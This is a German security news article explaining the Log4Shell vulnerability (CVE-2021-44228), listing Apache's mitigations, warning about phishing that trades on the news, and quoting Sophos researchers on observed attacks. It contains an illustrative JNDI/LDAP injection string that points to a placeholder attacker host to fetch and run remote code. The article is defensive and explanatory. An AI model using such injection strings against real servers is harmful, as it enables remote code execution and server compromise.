Schwachstelle Log4Shell: Was Unternehmen jetzt tun müssen

Der Name Log4Shell bezieht sich auf die Tatsache, dass die ausgenutzte Schwachstelle in einer beliebten Java-Codebibliothek namens Log4j (Logging for Java) enthalten ist. Außerdem darauf, dass Angreifer, wenn sie die Lücke erfolgreich ausnutzen, praktisch eine Shell erhalten. Also die Möglichkeit, jeden System Code ihrer Wahl auszuführen. Und als ob diese Kommandogewalt noch nicht genug wäre, wurde die Sicherheitslücke als Zero-Day-Lücke getwittert. Also als Sicherheitsfehler, der dokumentiert wird, bevor ein Patch zur Verfügung steht. Zudem wurde das Proof-of-Concept auf GitHub veröffentlicht und das Problem damit weltweit bekannt, bevor noch ein Patching vorlag. So läuten seit einer Woche weltweit die Alarmglocken und auch in Deutschland hat das BSI die Warnstufe Rot ausgerufen.

Schwachstelle: Unsachgemäße Eingabevalidierung

Die Schwachstelle, mittlerweile offiziell als CVE-2021-44228 bekannt, hat ihren Ursprung in einer harmlosen Anfragesendung an einen anfälligen Server. Diese schließt einige Daten – beispielsweise einen HTTP-Header – ein, von denen die Cyberkriminellen erwarten (oder sogar wissen), dass der Server sie in seine Logdatei schreibt. Die so eingeschleusten Daten bilden eine versteckte „Sprengfalle“. Denn der Server, während er die Daten in ein für die Protokollierung geeignetes Format umwandelt, startet einen Web-Download als integralen Bestandteil der Erstellung des erforderlichen Protokolleintrags. Und diese Aktion hat es in sich, denn wenn die zurückkommenden Daten ein gültiges Java-Programm sind (eine .class-Datei, im Jargon), dann führt der Server diese Datei aus, um ihm bei der Generierung der Protokolldaten zu helfen.

Der Trick besteht darin, dass ungepatchte Versionen der Log4j-Bibliothek standardmäßig Protokollierungsanforderungen ermöglichen. Dadurch werden allgemeine LDAP-Suchen (Verzeichnisdienste) sowie verschiedene andere Online-Suchen ausgelöst. Dieses „Feature“ existiert, um dabei zu helfen, nicht sehr nützliche Daten, zum Beispiel Benutzer-IDs wie OZZJ5JYPVK, in menschenlesbare Informationen umzuwandeln, die in Ihrem Netzwerk sinnvoll sind, wie beispielsweise Peter Müller. Diese Anfragen erfolgen über ein häufig verwendetes Java-Toolkit namens JNDI, kurz für Java Naming and Directory Interface.

Ausführen von serverseitigem Code

Dieses Vorgehen ist so lange tragbar, wie die protokollierten Daten, die eine Ausführung von serverseitigem Code auslösen können, auf Verzeichnisserver im eigenen Netzwerk beschränkt sind. Allerdings sind viel Server nicht entsprechend eingerichtet, und so könnten bösartige „Logsploiter“ versuchen, Text wie {$jndi:ldap://dodgy.example:389/badcode} in die Daten einzubetten, von denen sie erwarten, dass Unternehmen sie protokollieren und Server dabei automatisch:

• JNDI verwenden, um eine LDAP-Anfrage an den angegebenen Port (in unserem Beispiel 389) auf dem angegebenen nicht vertrauenswürdigen externen Server zu senden.
• den nicht vertrauenswürdigen Inhalt in den Standort Badcode abrufen.
• den vom Angreifer bereitgestellten Code ausführen, um „Hilfe“ bei der Protokollierung zu erhalten.
• Cyberkriminelle verwenden harmlos aussehende Anfragen

Einfach ausgedrückt, wird dieses Vorgehen im Fachjargon als nicht authentifizierte Remote Code Execution (RCE) bezeichnet. Ohne sich anzumelden oder ein Passwort oder Zugriffstoken zu benötigen, könnten Cyberkriminelle eine harmlos aussehende Anfrage verwenden, um Server dazu zu bringen, sich zu melden, ihren Code herunterzuladen und sich so mit ihrer Malware zu infizieren. Je nachdem, welche Zugriffsrechte ein Server auf das interne Netzwerk hat, kann eine solche RCE Cyberkriminellen dabei helfen, eine Vielzahl schädlicher Aufgaben auszuführen.

Und genau das macht die aktuelle Schachstelle Log4Shell so gefährlich. Angreifer können theoretisch Daten vom Server selbst abfließen lassen, Details über das interne Netzwerk erfahren, Daten auf dem Server ändern. Und Daten von anderen Servern im Netzwerk exfiltrieren, zusätzliche Hintertüren auf dem Server oder dem Netzwerk für zukünftige Angriffe einrichten oder weitere Malware wie Netzwerk-Snooper, Memory Scraper, Data Stealer und Cryptominer installieren.

Schwachstelle: Wie Unternehmen diese schließen

Lizenzgeber Apache hat zu diesem Thema einen praktischen Sicherheitshinweis veröffentlicht. Hier noch einmal das Wichtigste in einer Zusammenfassung:

• Upgrade auf Apache Log4j 2.15.0: Wenn Sie Log4j verwenden, ist jede 2.x-Version von 2.14.1 und früher anscheinend standardmäßig anfällig. (Wenn Sie noch Log4j 1.x verwenden, ist ebenfalls ein Upgrade Pflicht, da es nicht mehr mit Updates versorgt wird).
• Blockieren der Möglichkeit, dass JNDI Anfragen an nicht vertrauenswürdige Server stellt: Wenn Sie nicht aktualisieren können, aber Log4j 2.10.0 oder höher verwenden, können Sie den Konfigurationswert log4j2.formatMsgNoLookups auf true setzen, was das Ausgehen von LDAP und ähnlichen Abfragen von vornherein verhindert.
• Überprüfen Sie die verwendete Java-Laufzeit: Der zugrunde liegende Java Build, den Sie nutzen, verhindert möglicherweise, dass dieser Fehler basierend auf seiner eigenen Standardkonfiguration ausgelöst wird. Apache listet beispielsweise Oracle Java 8u121 explizit als Schutz vor diesem RCE auf.        

Betrifft die Sicherheitslücke auch private Nutzer?

Log4Shell bedeutet nicht nur Alarmstufe Rot für Unternehmen. Auch private Nutzer können durchaus von den Auswirkungen der Lücke betroffen sein. Das gilt vor allem dann, wenn Privatpersonen Cloud-Server nutzen, die von einem Hosting-Unternehmen oder einem anderen Managed-Service-Provider betrieben werden. Sei es ein Blog, ein Forum oder die Familien-Website. Hier gilt es nun zunächst einmal herauszufinden, ob diese Services angreifbar und wann Patches geplant sind. Aktuell ist es sicherlich sinnvoller, auf den entsprechenden Webseiten nach Informationen zu suchen. Denn die Anbieter werden derzeit höchstwahrscheinlich sehr viele E-Mails erhalten.

Zusätzlich sollten Unternehmen auf offizielle Sicherheitswarnungen von genutzten Online-Diensten im Postfach achten. Aber auch hier gilt es, Vorsicht walten zu lassen. Wenn Nutzer Nachrichten über die aktuelle Sicherheitslücke erhalten, eventuell noch von einem prominenten Serviceanbieter, sollten sie nicht automatisch auf die in der Warnmeldung angegeben Links klicken und auch keine Telefonnummern ohne kritische Prüfung wählen. Medienwirksame Cyberattacken wie Log4Shell rufen schnell Trittbrettfahren auf den Plan, die die Angst der Nutzer für ihre Phishing-Attacken nutzen wollen. Im Zweifelsfall sollten Nutzer ihren eigenen Weg zur Informationsbeschaffung finden. Sie können hierfür URLs, E-Mail-Adressen oder Telefonnummern verwenden, die sie bereits früher genutzt haben.

Erkenntnisse von SophosLabs zur Schwachstelle Apache-Log4Shell

Sophos verzeichnet eine Zunahme von Angriffen, die die Sicherheitslücke ausnutzen oder versuchen, diese auszunutzen. Bisher haben die Experten Hunderttausende von Versuchen erkannt. Cryptomining-Botnetze gehören momentan zu den häufigsten Angriffsformen.  Dabei konzentrieren sich die Botnetze auf Linux-Serverplattformen, die der Schwachstelle besonders ausgesetzt sind. Sophos hat auch Versuche gesehen, Informationen aus Diensten zu extrahieren, einschließlich Amazon-Web-Services-Schlüsseln und anderen privaten Daten.

Zudem stellten die Experten fest, dass Versuche, Netzwerkdienste auszunutzen, mit der Suche nach verschiedenen Service-Typen beginnen. Etwa 90 Prozent der von Sophos erkannten „Testläufe“ konzentrierten sich auf das Lightweight Directory Access Protocol (LDAP). Eine kleinere Anzahl zielte auf Javas Remote Interface (RMI) ab. Wobei es in diesem Bereich anscheinend eine größere Vielfalt einzigartiger, RMI-bezogener Versuche gibt. Sophos erwartet, dass Angreifer in den kommenden Tagen und Wochen ihre Angriffsmethoden intensivieren und diversifizieren, einschließlich der Möglichkeit, Ransomware zu nutzen.

Einschätzungen zur Schwachstelle von Experten

„Seit dem 9. Dezember hat Sophos Hunderttausende von Versuchen erkannt, Code mithilfe der Sicherheitslücke Log4Shell aus der Ferne auszuführen. Dabei handelte es sich zunächst um Proof-of-Concept (PoC) Exploit-Tests, sowohl von Sicherheitsforschers als auch potenziellen Angreifern. Und viele Online-Scans in Bezug auf die Schwachstelle. Allerdings folgten schnell Versuche, sogenannte Coin-Miner zu installieren, darunter das Kinsing-Miner-Botnetz und auch die von Amazon-Web-Service-Konten verwendeten Schlüssel stehen im Fokus. Zudem gibt es vermehrt Anzeichen dafür, dass Angreifer versuchen, die Schwachstelle auszunutzen. Sie wollen Remote-Zugriffstools wie Cobalt Strike in Opfernetzwerken zu installieren, um potenzielle Ransomware-Angriffe vorzubereiten.“

„Sophos geht davon aus, dass sich die Geschwindigkeit, mit der sich Angreifer die Schwachstelle zunutze machen, in den kommenden Tagen und Wochen weiter intensiviert und diversifiziert. Hat sich ein Angreifer erst einmal den Zugang zu einem Netzwerk gesichert, ist leider fast alles möglich. Daher müssen IT-Sicherheitsteams, neben dem bereits von Apache in Log4j 2.15.0 veröffentlichten Software-Update eine gründliche Überprüfung der Aktivitäten im Netzwerk durchführen, um alle Spuren von Eindringlingen zu erkennen und zu entfernen, selbst wenn es nur nach lästiger Commodity-Malware aussieht.“

Sean Gallagher, Senior Threat Researcher bei Sophos

„Technologien wie IPS, WAF und intelligente Netzwerkfilterung tragen dazu bei, diese globale Schwachstelle unter Kontrolle zu bringen. Aber die unglaubliche Anzahl verschiedener Möglichkeiten, wie der Log4Shell-Triggertext kodiert werden kann, die große Anzahl verschiedener Stellen im Netzwerkverkehr, an denen diese Zeichenfolgen auftreten können. Und die große Vielfalt an Servern und Diensten, die betroffen sein könnten, machen Log4Shell zu einer ganz besonderen Herausforderung für Sicherheitsexperten.“ (sg)

Paul Ducklin, IT-Security-Experte bei Sophos

Lesen Sie auch: Schwachstelle in Log4j: Warum die Politik jetzt handeln muss